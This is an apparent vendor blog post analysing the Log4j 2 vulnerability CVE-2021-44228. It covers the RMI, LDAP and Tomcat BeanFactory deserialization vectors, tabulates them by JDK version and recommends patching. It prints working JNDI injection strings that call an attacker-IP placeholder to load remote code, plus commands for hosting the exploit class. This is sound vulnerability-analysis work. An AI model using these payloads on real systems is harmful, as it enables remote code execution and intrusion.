SECURE NETWORK ACCESS

Anibal Irrera|December 20, 2021

Log4j 2 Vulnerability Analysis (CVE-2021-44228)

Log4j 2 is an open-source logging library for Java, developed by the Apache Foundation, widely distributed in a vast number of applications and is prevalent throughout most organizations. A high severity vulnerability impacting Log4J 2 (2.0 to 2.14.1) was discovered by Zhaojun Chen of the Alibaba Cloud Security Team and was publicly disclosed on Dec. 9, 2021. CVE-2021-44228 was assigned to the issue with a CVSSv3 score of 10.0. Considering the library’s widespread adoption and how easily exploitable it is for attackers to control essentially everything, this vulnerability poses a significant and major threat to all affected systems.

We are focusing on Log4j 2 in this blog entry, although Log4j 1.x appears to be vulnerable as well, under specific circumstances (CVE-2021-4104).

Due to the high severity of the case, we are releasing for free the same information we are providing to our customers on Log4j 2. You can find code that you can use to test your infrastructure at: https://github.com/immunityinc/Log4j-JNDIServer.

Vulnerability and exploitation analysis

JNDI injections have existed since 2015 (CVE-2015-4902) and were accurately described by Alvaro Muñoz and Oleksandr Mirosh at Black Hat USA 2016 (https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf).

RMI Attack Vector

The JNDI/RMI attack vector consists of injecting “rmi://attacker_IP:1389/SomeObject” to a vulnerable target, allowing it to connect to an attacker-controlled RMI server to trigger remote class loading.

RMI Primitive Example (JDK < 8u121)

RMI Server:


Exploit class:

As mentioned in the example, you should be hosting Exploit.class somewhere for the victim to fetch; e.g., python –m http.server 8889.

From the target, to trigger the issue, you would need the following:

logger.error("${jndi:rmi://<ATTACKER_IP>:1389/Exploit}");

Java 8 update 121 (7u131 and 6u141)

The Java 8 update 121 added a system property that disables remote class loading via JNDI object factories by default. This update effectively killed the JNDI/RMI vector, although targets can still be vulnerable to the same vector if they specifically set “com.sun.jndi.rmi.object.trustURLCodebase” to "true."

Furthermore, this JDK version does not fix other attack vectors such as LDAP (via ldap://) and CORBA (via iiop://, iiopname://, corbaname:iiop:). Let’s see how we can take advantage of that.

The LDAP Attack Vector

“LDAP can be used to store Java objects by using several special Java attributes. There are at least two ways a Java object can be represented in an LDAP directory: using Java serialization and using JNDI References ... the decoding of these Java objects during runtime execution by the Naming Manager will result in remote code execution.” ("A Journey From JNDI/LDAP Manipulation To RCE," page 20).

This time, we can develop our own LDAP server that “redirects” the target server to find and load an Evil Class and thus achieve Remote Code Execution.

LDAP Example (JDK 8u231)

LDAP Server: (Based on MarshallSec project)

Start the LDAP server with the following argument:

http://<ATTACKER_IP>:8889/#Exploit

At this point, all that remains is to host the Exploit class in the same way we did for the RMI vector.

As for the code triggering the vulnerability, specify with this LDAP protocol:

logger.error("${jndi:ldap://<ATTACKER_IP>:1389/foo}");

JNDI/LDAP injections were fixed in JRE/JDK 11.0.1, 8u191, 7u201 and 6u211 in the same way the RMI vector was fixed. Similarly, this can still be exploited if the following System property is set to “true:”

“com.sun.jndi.ldap.object.trustURLCodebase”

Therefore, from JDK 11.0.1, 8u191, 7u201 and 6u211, both RMI and LDAP attack vectors were effectively prevented. For more recent JDK versions, there is still a way to exploit the vulnerability, but it highly depends on what ObjectFactory classes exist on the target classpath. Depending on that, we might be able to turn the JNDI attack vector (by leveraging ObjectFactories) in a deserialization attack.

Let’s consider the “BeanFactory” factory class from Apache Tomcat for our next deserialization case.

JNDI Deserialization Attack Vector

The "org.apache.naming.factory.BeanFactory" class within Apache Tomcat Server contains logic for bean creation by using reflection. Therefore, we can create an RMI server that “responds” with a deserialization payload (using the BeanFactory class) and if the target has Apache Tomcat, again we will achieve remote code execution.

Let's look at the following example, based on this blogpost:

In this case, we do not need to host the Evil class, as we did before. Our own RMI server responds with a serialized object of ‘org.apache.naming.ResourceRef’ with all crafted attributes to be triggered on the target. Of course, as mentioned before, this requires Apache Tomcat libraries in the target’s classpath.

Trigger code for deserialization:

logger.error("${jndi:rmi://<ATTACKER_IP>:1389/Exploit}");

Note: For this PoC, we used JDK 11.0.5 on the target.

Finally, on the exploitation side, we found this interesting project (JNDI-Exploit-Kit). They create an RMI-LDAP server that will host a user-generated deserialization payload (e.g., generated with ysoserial).

This can be dangerous if someone creates an RMI server with all the available ysoserial payloads in their server and test them one by one until one works.

Attack Vectors Summary

JRE/JDK

RMI Attack Vector

LDAP Attack Vector

Deserialization Attack Vector*(3)

< 8u121, 7u131, 6u141

X

X

X

< 11.0.1, 8u191, 7u201 and 6u211

*(1)

X

X

>= 11.0.1, 8u191, 7u201 and 6u211

*(1)

*(2)

X

*(1) - Only if com.sun.jndi.rmi.object.trustURLCodebase=true

*(2) - Only if com.sun.jndi.ldap.object.trustURLCodebase=true

*(3) - Depends on the target classpath.

Recommendation

The Log4j vulnerability does not depend on the JDK version. All JDK versions are vulnerable because different attack vectors exist for JNDI. Everything depends on the packages in the target classpath (like a deserialization bug). We highly recommend to immediately patch Log4J 2 to 2.16. Log4J 2.15 original DoS vulnerability has been proven to be an actual remote code execution, one specifically under certain circumstances; CVE-2021-45046. Furthermore, the 2.16 version was shown to be also affected by a recently discovered DoS vulnerability; CVE-2021-45105. In the event you cannot upgrade to 2.17, (though highly advisable!) you could try to disable the JndiLookup class as a temporary workaround.

Continuation

As more information is released, reported and analyzed about Log4j, we will provide regular updates on our research.

References

Receive News and Updates From Appgate